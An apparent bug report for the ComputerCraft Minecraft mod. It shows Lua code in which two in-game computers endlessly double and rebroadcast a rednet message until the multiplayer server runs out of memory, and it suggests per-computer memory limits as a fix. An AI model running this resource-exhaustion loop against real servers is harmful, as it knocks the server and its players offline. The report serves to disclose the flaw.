1.3X [SMP/SSP] This happen when operate on rednet API.

DDoS`ing operating server.

1. Put 2 computers each with wireless modem on left side.
2. Write this code on each computer:
do
rednet.open("left")
rednet.broadcast("-")
while true do
local id, msg = rednet.receive()
msg = msg .. msg
rednet.broadcast(msg)
end
end
3. SMP server memory goes to zerro………
… Client is stuck for different amount of time.

It is a good idea to configure per computer memory limit. Especial for lua strings….